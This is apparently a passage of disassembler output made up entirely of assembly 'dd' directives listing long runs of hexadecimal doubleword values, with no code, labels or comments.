		dd 0C9C26EFCh, 62C15C18h, 5D02A5BCh, 4928D95Ah,	0F5EE96D5h
		dd 0B8389205h, 446810FDh, 24015A06h, 928681EAh,	0C2500BCh
		dd 9F454C29h, 1D017610h, 257CEF83h, 0C8DD0988h,	0B48FDD3Eh
		dd 0CCE2802Ch, 0F3AA84Bh, 0CF7B8012h, 65D0D827h, 27E9410Ah
		dd 3955D777h, 7FF2758Fh, 6B81DCB2h, 6ADE187Bh, 13976FB0h
		dd 81168374h, 7FF84247h, 2AC06D5Dh, 105791Dh, 858D0D1h
		dd 902597Dh, 61A24E60h,	25F61195h, 27545A97h, 5554361Ch
		dd 8296CD58h, 0AFDF0162h, 0F2586462h, 0C93FBE9Dh, 5EA4FAC2h
		dd 280EEC52h, 0C40F75EFh, 6499EBEEh, 815F6FC8h,	163B223h
		dd 4AA31F8h, 0C8F49108h, 801427B6h, 332DC829h, 69DE0010h
		dd 55685659h, 2F01FD5Fh, 71CE815Eh, 46E42B03h, 0E11335E9h
		dd 0A9D4BB8Ch, 5D6972C2h, 599D6BB6h, 595626Bh, 0FD9F600h
		dd 1B286389h, 8CC0C1FEh, 69B1FD7Ch, 0D55AA4B2h,	26CF08FBh
		dd 3461BC43h, 9A6A48Ch,	0E22D6F28h, 0D27DC851h,	1F50BF94h
		dd 473494F6h, 0B14C9552h, 1FF66BB2h, 36A0E9C2h,	256F0D5Ch
		dd 57D0DC10h, 28E236Ah
		dd 65A0353Bh, 126028A9h, 0B588536Bh, 2B018178h,	967E9EE9h
		dd 8A9CA8Bh, 6827A711h,	3E5F476Eh, 4099BA56h, 20ED9548h
		dd 2E9C5D39h, 0DAD2D42Dh, 7591CC5Dh, 0B920C043h, 78CC1217h
		dd 6E18100h, 874C7432h,	0D7F728F9h, 0C8EF44F5h,	509AB7EEh
		dd 45EF885Eh, 0ABA3D088h, 705640C8h, 0F006E1CCh, 8129E300h
		dd 3E0C79F7h, 9EE4C134h, 3E8AB1D1h, 2CE93BA0h, 5132CC71h
		dd 11C68052h, 0BA447E14h, 290BC615h, 9F4066CAh,	20779030h
		dd 0FF8B295h, 60CB1556h, 91B8887Ah, 0F831142Eh,	0AF17AC5Fh
		dd 4B42F63Dh, 0F18929E9h, 4B0DCC78h, 0F5D38F0Fh, 7CF61BF1h
		dd 203A80D8h, 0EFB452CDh, 7DED8102h, 0FC7A2245h, 1B08A081h
		dd 0DFF7D9E9h, 0EC46E1B7h, 5D8F4048h, 1440012Eh, 0DC1A17E4h
		dd 0DB04BE6Bh, 0BF00CA84h, 13936D10h, 4AB750BFh, 1E52EAC1h
		dd 0AB11CC22h, 9E87EBFh, 0BB8408E3h, 0FB1EC8C5h, 38C61607h
		dd 52D2CE89h, 9F07521Bh, 0C405D700h, 729FDA06h,	689AA845h
		dd 21364BA2h, 6048B461h, 0E44F8393h, 92FA4674h,	0A22A98A1h
		dd 0DFE3AA09h, 0D0205296h, 0D99980D3h, 2C893002h, 6C9F930Ch
		dd 2B89648h, 12545338h,	20C95E29h, 0FEE91208h, 1578ADDBh
		dd 7850676Fh, 3B695B0Bh, 2098C40Bh, 8F903C0Eh, 1F7F9101h
		dd 6850564Ah, 0E99F1DF8h, 0CAE71D3Bh, 99ACB5F2h, 2F0DBE5Bh
		dd 8F642E0Bh, 0A25F0653h, 3DF504F7h, 8260D907h,	807F0CE9h
		dd 0B6E94570h, 5E45C78Bh, 28BF3057h, 0CF4D8829h, 74B4C938h
		dd 1D7525B3h, 0F668065Bh, 7B2D412Eh, 4A5C5CAh, 0BF35C468h
		dd 257D03CBh, 0BE661EA4h, 9064304h, 4A042942h, 0F0550BB4h
		dd 0D06C1F5Ch, 809C0C3Dh, 244ABAA9h, 2AB42121h,	1FBDC2Bh
		dd 0F3B610B5h, 0EE318015h, 9B5B5D78h, 0C55F3A09h, 0AC5D8D83h
		dd 7686601Fh, 58443B9Dh, 0EA31C867h, 50402F33h,	25B551B4h
		dd 9627CFCh, 0D35D89EBh, 2E183DFEh, 466D3B27h, 88AB9BD6h
		dd 785E42BDh, 98EFDC35h, 654AE9FBh, 0D058350Ah,	5A186D07h
		dd 292D5F00h, 61CB3A42h, 705D014h, 0A1FA65Eh, 0EFE6BFE9h
		dd 47BACF85h, 830FA781h, 0ED516C69h, 9F1588E0h,	81C4D18Fh
		dd 10BAE3Fh, 5CC57C55h,	3DEEF131h, 0B8540585h, 7BFBD8BBh
		dd 0A0584440h, 3E499CF3h, 0B171648h, 0F9B320F2h, 0DC7B52F6h
		dd 5B0D222Dh, 4A7BA556h, 8D7A413Eh, 55069220h, 0E0AF0Eh
		dd 48587FD1h, 0E28E100Fh, 0E3C44E4Dh, 2D18E9ECh, 890126DBh
		dd 272BC548h, 0EEB15ACDh, 0FBC34A67h, 0BE82C32Dh, 7C571108h
		dd 0F22EC8F5h, 506AE018h, 2C51D150h, 0B927705h,	0B5D635BCh
		dd 85D4B063h, 458FE09h,	0C3FB7D1Eh, 6BD180C9h, 6AB361E9h
		dd 7D87204Bh, 1AE0286Ah, 0BD81F5BCh, 148AFA78h,	0FA318B9Fh
		dd 18E6424h, 60B685Bh, 61162789h, 0C4CF7E51h, 0F3EEECE7h
		dd 398451F5h, 90EB0368h, 0D917732Ah, 2AADAE66h,	0EEC17763h
		dd 0CAE06449h, 718F2D17h, 6CE110Ah, 3F7EEE01h, 0B921113Eh
		dd 5A3D27CCh, 138B9403h, 0AE360C08h, 0D7042DB5h, 890672D9h
		dd 50949AB8h, 24C6502Ch, 19E50519h, 0C247C287h,	11048493h
		dd 0C407DFC9h, 0E87101AAh, 876DE23Ah, 0F942FC18h, 0F6BE5680h
		dd 7D90043Ch, 0BEFEB0E9h, 7C7BFA44h, 28C560F8h,	890CA8E8h
		dd 9D1EFF66h, 0CC3FB9B5h, 0D6DE7429h, 5E394BA7h, 96BB2FE5h
		dd 49A20111h, 0B577CF13h, 4F01429Eh, 5D64ED7Eh,	0B83FB2F1h
		dd 0CD77B168h, 7AE75A03h, 4A8C920Ch, 31A468E7h,	1F08E15h
		dd 0AB30FA01h, 5002E939h, 401DE5D0h, 5DDE7C75h,	0B07ED14h
		dd 0F1EE0158h, 96D549FCh, 0FD72028h, 0A32684E6h, 0B289E65Fh
		dd 6A7E0009h, 2F59EA28h, 0AD92D388h, 0FFDE0C0h,	0D8E5D180h
		dd 768D546h, 2F473618h,	264E2DEh, 0E92ED435h, 820F133Ch
		dd 57757468h, 74B96C96h, 5C8B40AEh, 241572A5h, 81B5BB1Bh
		dd 0A98C0FD9h, 0FBC78A38h, 0B08B9E69h, 427C1A1Bh, 0C376CCh
		dd 68535F54h, 0EAA41CDBh, 9D8CEA4Eh, 0D8546450h, 2402FDBDh
		dd 891DFA0Ah, 0CBACEB8Fh, 3B1D7853h, 0EC9CFC2Ch, 1A5F2FE5h
		dd 0EF30578Fh, 782E7776h, 2601E33Fh, 476C9737h,	0C9C2D274h
		dd 805787CDh, 193FAE8Ch, 22609F7Fh, 982F2D1Dh, 8388D409h
		dd 26D013ACh, 11B690FFh, 0E9184D50h, 0BB823F1Ah, 0CE680045h
		dd 0FEBD121h, 0B14E188Ah, 36A1E8ACh, 0C18801B9h, 443E2373h
		dd 0CC8FB593h, 0DE41B401h, 276BF03Fh, 6E2707B6h, 0C32CBE45h
		dd 0A039581h, 0AA5C65BDh, 6FCDC813h, 14DA2F2Ch,	310AA3FDh
		dd 0C47220F0h, 3947680Eh, 6CEB1305h, 524F2F9Eh,	6257A6CCh
		dd 0D396777Eh, 0B7B25807h, 961EC74h, 0D8E1523h,	5C434380h
		dd 0E9130E60h, 0D2A4AC0Ch, 4B6D982Ch, 0C464AC9Dh, 0A7BAEC58h
		dd 7E257C74h, 29D07A5Eh, 0DFCD10h, 0C5BFF381h, 0F0BDA9EBh
		dd 1DE02FDh, 0CAE90861h, 0A73951FDh, 53DFF3E2h,	0A146EC11h
		dd 836748E1h, 6B0C3E12h, 0DF92700h, 9B94785h, 2387308Ch
		dd 0F1B1A2DDh, 24D6B149h, 0F461646Fh, 57137394h, 43AF6F40h
		dd 7BC9E981h, 0F756220Bh, 0D53E181Ch, 6EB182D0h, 5CA28152h
		dd 59283B5Eh, 1FD122Bh,	0F631EC68h, 98127F5Fh, 87D891FBh
		dd 0A4D3D9DAh, 0A22CF108h, 172F0Bh, 52ECD733h, 46EB6A3h
		dd 0AB32B223h, 0F07A1A06h, 9EF61EB7h, 92B0B63h,	0DE87AA7Ch
		dd 0FD191149h, 0CDD96589h, 910F4DA8h, 2B07EF73h, 0C4B182D5h
		dd 95530699h, 0AE4B5B24h, 0B189D302h, 42BD408Bh, 0A4C171Ch
		dd 21300529h, 9CF92185h, 8B0F00C8h, 6195AA7Dh, 0AA0CBB1h
		dd 90F09581h, 20F69100h, 62AABE6Eh, 0E98809D4h,	59E99BF2h
		dd 81A9E1C3h, 20636841h, 1F2E4252h, 0F52DCE87h,	92CBFA17h
		dd 0EAED202Ah, 41F66348h, 15481D17h, 49146323h,	0B2D8E057h
		dd 25FE7CC3h, 0D948FA63h, 0E516EB90h, 430B5095h, 89965EDBh
		dd 74C40942h, 0E8E9534Ah, 3CF76174h, 2E5D5F55h,	3E0001CBh
		dd 0D6C565Ch, 0FD275DC5h, 174EF022h, 81468925h,	3EBD5588h
		dd 0E381BD25h, 8004D932h, 106FDEAh, 0C41DD4B7h,	5BC2A01Dh
		dd 52B5590Bh, 80358028h, 4CF682CDh, 0EC4ECFDDh,	0BF1E205Eh
		dd 0FE354502h, 600D9ADFh, 0DED9AD99h, 34C0EE4Bh, 0FA58E106h
		dd 0C508E808h, 74628FEh, 8ED0E305h, 0A08F6BC1h,	660235C8h
		dd 0FC277F68h, 3FB683F3h, 84930204h, 0F00581A5h, 8197D32Ch
		dd 0A7D12EE9h, 3ABA7099h, 4BA55080h, 9892C155h,	0D84FD42Ch
		dd 0D92F6828h, 5A03E60Dh, 322BF1BDh, 0EF1C4DCh,	0BC261B8h
		dd 0E3F75170h, 0FA0F91ABh, 1FE3A230h, 0A7EC3A0Dh, 4E0DF954h
		dd 0B9FBCF87h, 0D0A8A8D3h, 0F212C3D5h, 42F3481Ch, 33D2E4F1h
		dd 0B051483Fh, 9FB5ACE9h, 38880D51h, 1D73288Fh,	4BC9FE77h
		dd 0F57BAF1h, 0DC66099h, 0F85AF528h, 0D07302C5h, 933DE9EDh
		dd 0C829E068h, 98104CBFh, 64314FFFh, 686698C1h,	924B4926h
		dd 0AA4750C3h, 7B25606Bh, 0EB2E1312h, 0C4C3EA29h, 77AFB130h
		dd 0C6B70A6Bh, 0C10C3408h, 2A5642B5h, 0FA2217FAh, 7066D59Ch
		dd 0A37BBD07h, 0E98607A1h, 0ECD10605h, 3F736BAEh, 59968BF7h
		dd 5CA308BEh, 7302DB2Ch, 8437747Fh, 4A91B09Bh, 4CF7EA84h
		dd 786BB479h, 273CBB0Ah, 5704B2D5h, 0E2DAD029h,	7208B025h
		dd 0E7780B07h, 6E70DA57h, 0F7B089BFh, 0C6004396h, 72D36D82h
		dd 0A92CE1E9h, 0E72CE5AAh, 0A08C53CCh, 5AF77E95h, 1E2FC81h
		dd 2E50C9DDh, 0F52DA70Eh, 7E5E2586h, 0F4F5C72Ah, 0EE4DD647h
		dd 2A166F22h, 142BBDDFh
		dd 0F158AD68h, 0C47E00D3h, 0E9190C7Eh, 3602425Fh, 0AF62B368h
		dd 0F96FA613h, 98CB5A6Bh, 0E64081C0h, 0F4D99759h, 7F9B2662h
		dd 47244B5Bh, 5424B610h, 6C569D84h, 0AD701A0Ah,	0EA5B2885h
		dd 0E90C7F8Ah, 9650BA54h, 0F9D0F739h, 0B5180F31h, 8C2E612Dh
		dd 0BD9E4Fh, 0E00548CFh, 2FB82E31h, 5EB012E6h, 12B4C382h
		dd 80D86C99h, 0BC29F2h,	2523D988h, 13E097FDh, 0A16DFA3Ch
		dd 0C72E104Eh, 5CFC484h, 2DFBF788h, 0EF952062h,	639204F5h
		dd 0B3955027h, 15A22C21h, 7B128553h, 0CDF33504h, 0E1603033h
		dd 1EE5C288h, 0D368964Ch, 0C4F4D749h, 2F8F143Eh, 5AF207FEh
		dd 0DA84A61Fh, 0C7E548A9h, 4BD5AA18h, 0F312E0EDh, 1FFE56D1h
		dd 0EC8789E8h, 8878CC55h, 0B5987360h, 8BE9F6D6h, 501C5D11h
		dd 4D4B7309h, 9D027D1Fh, 0E1209ED2h, 505131A5h,	0DF8EEC1Eh
		dd 92F101AFh, 3139BE14h, 73ABCCCBh, 0BCB8FB4Bh,	1551E5A0h
		dd 2F75623Ah, 26FF1B9h,	0EC5527EDh, 0C24FE3F7h,	590881C5h
		dd 0E46BDDE9h, 4100C786h, 0B652EF28h, 16CEFEB2h, 0BCD0DEF6h
		dd 4C1A2CE6h, 0B01D1410h, 77B1DF32h, 0B3CD73Bh,	30083DF6h
		dd 2F96A05Eh, 39D478B2h, 16F11092h, 0B6A5768Bh,	788A2FD9h
		dd 9C97D908h, 85F9EA53h, 60706494h, 0C0BDD601h,	503F80Fh
		dd 0A709A68h, 56F5F96Eh, 0C4D9539Fh, 0AB94E8Fh,	601F9B49h
		dd 1FF6E03h, 0D71192F9h, 0E9843145h, 0A92AFC2h,	0D27561CEh
		dd 0D2C8EC7Bh, 0A41D1810h, 0D568A0BAh, 0D2562C5Eh, 6584F5B8h
		dd 184214F7h, 0F32384FAh, 1C61704h, 0E080FFE7h,	2D17FEC2h
		dd 0BAD61619h, 50B508A0h, 9DDC79AEh, 586CBA71h,	25C99671h
		dd 0A75590B2h, 0E3ACD462h, 0D497691Dh, 6304C5Eh, 25EC3502h
		dd 2F628B4Eh, 5A6892C8h, 0A18C0D4Fh, 89D529Bh, 2ADE231Ah
		dd 96BCD756h, 0B298EB6Dh, 594217E6h, 793BBC26h,	5B040597h
		dd 0E7CC88EAh, 98179Ah,	6C257676h, 9415C0Dh, 37F9CB9Fh
		dd 0A4E25067h, 85CA54D1h, 0C7CC28EBh, 1E1C5F21h, 6DC3DFE3h
		dd 614E05FDh, 2D0580ECh, 91C85A3Bh, 2BD5BBA0h, 462C69E3h
		dd 0B6BD8137h, 3A62470Eh, 5EAB1B80h, 547F4832h,	7888A45Fh
		dd 73C45B05h, 0CB09EF29h, 3D5F9B85h, 4C930E50h,	0D15F45A3h
		dd 8431AB01h, 85042B7Ah, 232ED39h, 78DD0C19h, 0A6717B09h
		dd 0AF70169h, 7F2108A0h, 4F3DBAECh, 5BF6946Bh, 8958B831h
		dd 89121E3Ah, 0BB5D5F01h, 29360E8Fh, 1B6DA69h, 0B19E16Dh
		dd 70A9E7Dh, 3876C940h,	48D13B2Fh, 2573A2E9h, 2A02D14h
		dd 580248E3h, 58AE32BFh, 0DF080117h, 291EA360h,	0E910846Ch
		dd 0B3EEEB53h, 21EF4AFDh, 195DAC5h, 1C202AB5h, 3B588117h
		dd 750B3EEDh, 52446293h, 33D120B6h, 0BEB5E900h,	5A72F7B6h
		dd 5A23BD32h, 9D4ADACBh, 0FE774782h, 91BC2DCAh,	0BD4AF490h
		dd 0F4F7BDD2h, 123BEA7Eh, 1F83CA12h, 89BD7BB4h,	0F6C4FEFBh
		dd 0FDB501CFh, 933FF8E9h, 6D523751h, 129EEDE0h,	0AF93A7A9h
		dd 0FC2AAEF1h, 0EC8D4EE5h, 0D55FD2DBh, 6424D9C7h, 5589C42Ch
		dd 6640855Bh, 597E8736h, 9BC9A30Eh, 0C2099D5Ah,	858B327Ch
		dd 94810A76h, 243E4C5Bh, 445C82FFh, 896443E0h, 199EDD7Fh
		dd 9D1D3480h, 90BA5257h, 516C09E8h, 8225429h, 6D778520h
		dd 3077A593h, 85419E1Eh, 13FABF17h, 319EEBB4h, 0A7EF057Dh
		dd 0ED3B6075h, 5E0840CEh, 212A2098h, 5C4A3EA3h,	424ED6BEh
		dd 0CC7EB12Ch, 5BACC03Ch, 13008E53h, 26ACB9E9h,	0BF64AB4Ah
		dd 0EFECABAh, 52C28852h, 0FA44D21Dh, 19A8B4E9h,	9ED35B27h
		dd 1202786Ah, 7F49B365h, 6981A6Bh, 3009CE60h, 5A7243E9h
		dd 3C4A3F4Fh, 16FA3DA7h, 259EA38h, 0C3E967E6h, 0A57E7198h
		dd 0FC32F285h, 0B393CE04h, 0C9F828BFh, 0E710440Bh, 4CCC753Dh
		dd 4A4ED503h, 0E9CD09AEh, 328EB118h, 7EF1AB5h, 0E284B816h
		dd 6286056h, 106C1341h,	2A91C5Dh, 8920A221h, 2B1489E1h
		dd 79BE8217h, 53F82A07h, 5526E1E6h, 0E2176454h,	0D19DC35h
		dd 6FCCB328h, 0FE91613h, 0AE3DBA97h, 50886234h,	955BD8C7h
		dd 0E29F56C6h, 0A9254115h, 0CA026801h, 868B3159h, 501EA3B7h
		dd 80038A76h, 5046FA5h,	0A0B0986Ah, 1DB624F5h, 64E9AC58h
		dd 2D7AFB3h, 91141216h,	0F9E85144h, 0BB62E36h, 0E5C1E0FBh
		dd 1816BF2Bh, 84AA8D0Fh, 539CEE29h, 27369AB5h, 0D696EB8Bh
		dd 40685200h, 0E9095C76h, 0B5C74E05h, 0CCB1303Dh, 6F60D9BFh
		dd 44B67BA5h, 30457680h, 7643B5BAh, 0CECB0ACh, 2E41130h
		dd 9FC0ED30h, 5B1EE0F7h, 0B30CC007h, 291F0144h,	2FF4F85Ch
		dd 6F1477DCh, 6085906h,	1334472Fh, 0E8987BF1h, 54AB10A4h
		dd 0F5685E25h, 5280E39Eh, 3FDDAC51h, 8498EDB7h,	81FDE1ACh
		dd 91D57EF3h, 5F1332B3h, 0A298E256h, 26B9C05Ch,	0D4C1821Bh
		dd 6BC03155h, 0D8AF3B17h, 713C9E9h, 660B2CC1h, 9F0253DDh
		dd 0B0B6135Ch, 0AE1735CDh, 9305C158h, 42E16883h, 2598A76Bh
		dd 0C47163EFh, 6CC70CC1h, 0FA35F8F4h, 42CA4A33h, 0FD8851EBh
		dd 6B4FD279h, 586856EAh, 0D389FC01h, 0B62F6149h, 28A0532h
		dd 0E2FA7741h, 0DFF71465h, 4C4E01CEh, 2DE90D74h, 1DB51C3Eh
		dd 6CBECED0h, 95CAEE12h, 0BBB1257Eh, 0F90421E4h, 2922A52Bh
		dd 0CEC189FFh, 40E2E938h, 0B70153BFh, 19EF8093h, 765DF828h
		dd 7D60C8EDh, 0ED801B29h, 0F88133AFh, 30E5315Bh, 9895F30Ah
		dd 802F1C8Dh, 2D03E829h, 3F9F5F1Ah, 0D5F9FA5Dh,	6EF7EBE9h
		dd 14FA7AF0h, 9E0FAE23h, 2D605E55h, 0C0BD0455h,	0BC2F511Dh
		dd 115213FAh, 0E5B9BD04h, 8EA13DACh, 76227E37h,	4AE4BC3h
		dd 8A0F91D6h, 29BED416h, 0D2CBE0EAh, 0E9405805h, 0B7BACFDEh
		dd 71AA5F2Ah, 7BE6B9ACh, 880C91E3h, 0F32F15A5h,	4CCDFB14h
		dd 954171E0h, 5A78DD28h, 0EAB91647h, 0C742DB69h, 1EB3009Eh
		dd 2803CEB0h, 0C0FE5BD8h, 0F52CA8F6h, 5AB20C52h, 1154D030h
		dd 18BE7340h, 84D60747h, 0ED124EEEh, 6C00FA37h,	6AAC3485h
		dd 0E9F70B29h, 536B24D8h, 0E8656EC1h, 449F9B5Dh, 5AF1F05Ah
		dd 2D65A4E4h, 0BA7D85B7h, 2D545648h, 54A59A75h,	0ACFD5880h
		dd 448804BCh, 69ED81D8h, 7AA10B16h, 0C29785C0h,	0AE3AD3A7h
		dd 0CBBFDF56h, 5DF50991h, 18D00242h, 6BDE7E08h,	0A220E31Ch
		dd 9FCB0C3h, 1B8709A1h,	0AF1D85D7h, 0F624DFACh,	0F6208ABh
		dd 46005712h, 64C5446Dh, 5BD30905h, 21847C24h, 483AB8C2h
		dd 87137821h, 3470DB90h, 36BBF5Dh, 2978C26Ah, 0DC045FFDh
		dd 0E2444E38h, 0E9FB28BFh, 849A0B24h, 7E2C181h,	7A20EAD1h
		dd 4F462D66h, 49FD9940h, 0E91233F4h, 2549BB25h,	0A1D016FEh
		dd 8844DC8Bh, 9F80E9AEh, 1D853517h, 0B5CDE2BEh,	2BCBCDBEh
		dd 5A79658Eh, 0D881E8C9h, 5C192886h, 26275C58h,	9A502ED4h
		dd 0D668889Bh, 0CA8C535Eh, 1BCDF450h, 4267067Bh, 0EE200CFAh
		dd 58222172h, 0AD5A1C62h, 6B013B17h, 0A4D18EECh, 78F27678h
		dd 9E74EED6h, 6773EE00h, 30E956EFh, 0C3679715h,	35494166h
		dd 0D59E1052h, 39FE680Bh, 4A54EFB0h, 2760FF82h,	0F764EFF8h
		dd 0EBE2C848h, 0A1F9E87Eh, 0F32A28EDh, 775F1022h, 0FBFCC441h
		dd 4C47B28Eh, 601D6D7h,	90DF82Bh, 4F65FCDFh, 4ABFD7A7h
		dd 2DCE8FABh, 82DE715Ch, 6B9430C3h, 52934FC5h, 344560FEh
		dd 3613AB01h, 6DA0A8E9h, 8CDB9D58h, 9516D24Bh, 4246E683h
		dd 0D9EB9B02h, 4C3BA31Bh, 40BE0019h, 8120CE15h,	57168DF6h
		dd 0BB117EC3h, 0C92D0F9Ah
		dd 89D94750h, 280684DFh, 2A1FCDAAh, 45CA8F80h, 742044Ah
		dd 0FAE2E4E9h, 6809365Eh, 38187DBCh, 0DCB55953h, 0C724BD9Bh
		dd 6F721A28h, 0C37AE877h, 666E1A13h, 0C8E40C38h, 0E12DDF8h
		dd 5E000D47h, 18672E97h, 5BD93929h, 80D0E9A7h, 5E302212h
		dd 0E82D12FFh, 0AF6AD8F6h, 7BFE83B0h, 902C5320h, 573F0FB3h
		dd 0FC64317Eh, 0EDA6FAB5h, 2855A15Ah, 8C13A47Bh, 0A26BB0A1h
		dd 8EED5AD2h, 1CC1FAE5h, 18F02BFAh, 0EF058001h,	78DA7539h
		dd 72DD028h, 0C11444EBh, 3BBB4523h, 950BDCCCh, 82F5A20Bh
		dd 9B96D0Fh, 45932575h,	0B84EBFECh, 8CEAB5B4h, 6D70489Fh
		dd 4516F9BFh, 0C184943Bh, 29AB989Dh, 4AB53936h,	0CBF541C1h
		dd 63493DCh, 12E95B8Ch,	0BA0527F7h, 0BF11FCEh, 94AB61C2h
		dd 715EBDA7h, 0EA6BE985h, 0D383F05Dh, 0DA45673Dh, 25E05E66h
		dd 1C248CFBh, 27BACC25h, 9D4E3C01h, 49F1C18Bh, 5B6800A7h
		dd 95C69705h, 0BD677413h, 6E6EB00h, 0C4574668h,	24D8A51h
		dd 8F5FFB29h, 990544EDh, 0D58165D3h, 0DCE446FCh, 714E18AAh
		dd 43106E40h, 0B0F734D3h, 0CD92865h, 0F61E5B12h, 0C2731012h
		dd 0ECA8813h, 0FE161742h, 2FE97B7Ch, 0A75FB7DFh, 0F3046AF0h
		dd 49C38003h, 0C332EB99h, 0E9EA10B6h, 1586594Ah, 0ABF05F1Ah
		dd 1666260h, 0E93E0C2Ah, 0EA6F9D33h, 0F6C1729Dh, 0BEB04A32h
		dd 0BB9F32Ch, 386C46DDh, 62D99A80h, 0CB031FDh, 222F3D0Bh
		dd 7018007Dh, 0FA308749h, 5BE924F1h, 5558895Ah,	599BFA82h
		dd 0F9D98803h, 397B0FDAh, 0BE7725A9h, 99232032h, 30AD0BD9h
		dd 569DF6ECh, 0BF2F623Ah, 2394620Eh, 0C7A1C0F4h, 0CF810201h
		dd 5E34990h, 94C4B080h,	0FAFA09EEh, 0AD5B3390h,	4BAD22AAh
		dd 0C1200E40h, 36F8E15Bh, 788CC219h, 13526041h,	25E94640h
		dd 8924021h, 0A3D6CC82h, 0BCEC0C0Ch, 0BEFE2556h, 0E52DF153h
		dd 8C71A83Fh, 412AF0C2h, 0E687E642h, 6090D918h,	4F39199Ch
		dd 0BA614A43h, 0A606FDCEh, 4C9AAC28h, 64EF985Fh, 0A1DC016Fh
		dd 29027318h, 815E2776h, 3054EC29h, 30A80F21h, 0F60982C2h
		dd 3D868248h, 88141B0h,	708C788Fh, 0AD61FB7Bh, 773AE7A7h
		dd 8FED63E5h, 56FE53h, 3F3D694Eh, 390A683Eh, 140DE42Ch
		dd 0B0624B2Fh, 5F8BBB6Fh, 901BB33h, 0BD3499C3h,	0BAA8866Eh
		dd 2A980884h, 0EC57EE40h, 8780554Fh, 5D9A8352h,	5FDEC886h
		dd 16B1EF05h, 92040818h, 0F791EECDh, 0B9BC5B9Fh, 645DE384h
		dd 9E0FAB44h, 0DD20E955h, 6DC4D4EAh, 0F0097C95h, 580E67Ah
		dd 8E19123Dh, 3F27EADBh, 4F60F2h, 291305BBh, 0EE87961h
		dd 0FF8DE07h, 0C2E02C80h, 97054795h, 0D6A2FB89h, 0C07DE188h
		dd 83479B11h, 13BDAABCh, 10E9A798h, 0E29D6160h,	5B9E71E5h
		dd 9240A811h, 0E9E183F9h, 3A003FFAh, 5A2D5B5Fh,	1833486Eh
		dd 705F814h, 0B5963540h, 68505000h, 435821A3h, 91C21AB0h
		dd 0ADB5DB16h, 0E851488Bh, 0F926E9C1h, 63D15A02h, 0E5A8B644h
		dd 33C68001h, 0A59E67E9h, 2CAA9660h, 1356D821h,	5163FBCFh
		dd 0F5F3035Dh, 6025767Eh, 0A2F14820h, 178B8EBDh, 0C5498BFh
		dd 0B05DC683h, 0A4694B6Fh, 820BCA43h, 0F4567201h, 500A03EDh
		dd 9E52143h, 3202C2CEh,	467D7EA2h, 887D9878h, 0B797918Eh
		dd 810058E4h, 2C0A9CF2h, 4F830F7Fh, 0E898166Bh,	294BA1DBh
		dd 142E9507h, 0D532A4CBh, 48F7EA45h, 4A2968CAh,	739F3249h
		dd 6DED8B57h, 0DA2B0C06h, 8402C775h, 31C88CF5h,	0EDF790FEh
		dd 9E0580F0h, 47454112h, 275EED03h, 9A82C43Ch, 0FDF6B8h
		dd 4072CACh, 0D8762836h, 805B68E8h, 0B517A0B3h,	0EF331335h
		dd 0C5871489h, 427B2F1h, 4534AF20h, 0D3B4B117h,	22F13505h
		dd 0D2AF876Ah, 0EBCA62E9h, 4289F1FDh, 54048905h, 0B7B771BAh
		dd 0B80A8122h, 2D0675CDh, 4003C76Fh, 733E7ECBh,	0AF8B05BDh
		dd 74BF71D0h, 62852D34h, 279026F8h, 0B99B1330h,	3B22A9C7h
		dd 7F46EFh, 4C874AFAh, 7AE850Fh, 6DCF25C0h, 73183F15h
		dd 56B862E9h, 0E055C1C6h, 0E11DC3F0h, 5668E202h, 3BC073E7h
		dd 0BAEE5AC2h, 407CB743h, 0A03FD651h, 0D05FE911h, 525A8404h
		dd 0A0D0BDECh, 9A753F04h, 98DDAA0Fh, 9C616B41h,	4CF77064h
		dd 0E95BA0D9h, 3C854C68h, 0AA8218F0h, 4CEFC1B0h, 0A84FAB02h
		dd 6B3C554Ch, 0A8D1F5D4h, 0B800CDFEh, 2C5F368Dh, 6E4708h
		dd 0D9A313BDh, 0D57C2940h, 0B3483430h, 2F45012Dh, 0C2817753h
		dd 302A08D0h, 0F9416D7Ah, 0BF8B6AD4h, 404239CAh, 7F5C9769h
		dd 0EA203A9Dh, 0C61C050Bh, 11FE015Eh, 0CE310880h, 64FA5FF4h
		dd 8760F305h, 398E0D0Ah, 0DC1B5043h, 40F541C4h,	5F1C1578h
		dd 0CF465C97h, 0D18CA413h, 41620316h, 4D40BD53h, 3AF46852h
		dd 0C646626Bh, 23643B13h, 0D3A53D31h, 5A7DF69Eh, 19C4B8D2h
		dd 4631170Fh, 63AE7DDh,	9EEAD114h, 39823830h, 128D37F2h
		dd 95677D2h, 8A025B06h,	0E5E5F1AFh, 6C7963Dh, 322B5591h
		dd 4F020D38h, 836D7733h, 0D4588EC2h, 660BC998h,	9BE3A7E9h
		dd 0C06C8871h, 0DE0362E8h, 0EA4C49C3h, 50E9BD1Ch, 0A6455B67h
		dd 781A09E0h, 0C6762B0Bh, 0C54D0694h, 1C6474F2h, 1033A2EBh
		dd 280FE6B5h, 0ED1E58E1h, 8AB93680h, 58B7D75Eh,	4A5741Eh
		dd 8C0F6BFAh, 0BA439587h, 413F797Ch, 0D9377F4Fh, 1F868ABFh
		dd 853A2E03h, 670C042Fh, 0EA3FD043h, 0C8493593h, 25895842h
		dd 105559CBh, 1BD55DEh,	48051560h, 3B0704E9h, 0C692C199h
		dd 0FB3EC4A5h, 0E13F883Dh, 24817E79h, 5B0027EFh, 204E1668h
		dd 0E8F2BC37h, 147357BBh, 7D646809h, 29AF0D30h,	407D1C12h
		dd 251CF0h, 2AC05EFh, 0C672BC35h, 0DC04124Eh, 99C0FA29h
		dd 595A1F2h, 43E9F183h,	12E09A6Ch, 0A3AAB461h, 4A012687h
		dd 7A23FC27h, 15247C57h, 8913B435h, 3CE88DE8h, 978F17F4h
		dd 69BDE452h, 0A580038Ah, 0D9A99357h, 317A5379h, 9BA1A0h
		dd 302F3DBDh, 2B436F7h,	7B4B8A69h, 5A3987D0h, 5B89F440h
		dd 0B96328EFh, 3E3DFC1Ah, 972AFFC4h, 4BC410CEh,	69D10988h
		dd 1F5C6C85h, 50457652h, 0A65FD3E9h, 60EEC874h,	685DEE84h
		dd 0F12A7C2Dh, 75E9411Ch, 10FB293Dh, 0DB48C11Ah, 8058EA2Fh
		dd 0E978AA94h, 486B9A4Ch, 6F78F456h, 0CB8ADC6Ch, 0EA8889E0h
		dd 0AA258984h, 59972B31h, 74162776h, 499F7D7h, 0F66F3568h
		dd 0F8D895FEh, 0BE1968Fh, 0C378EB2Ah, 68BB409Ch, 0E9104C2Ah
		dd 92A86325h, 0B726B493h, 78883045h, 915B1264h,	2EAA8C6Dh
		dd 548094B2h, 68713622h, 960AEE24h, 981B50C6h, 74E21DEEh
		dd 0A756A538h, 0DE401B16h, 231D31BDh, 35457B19h, 0FC731F7Ch
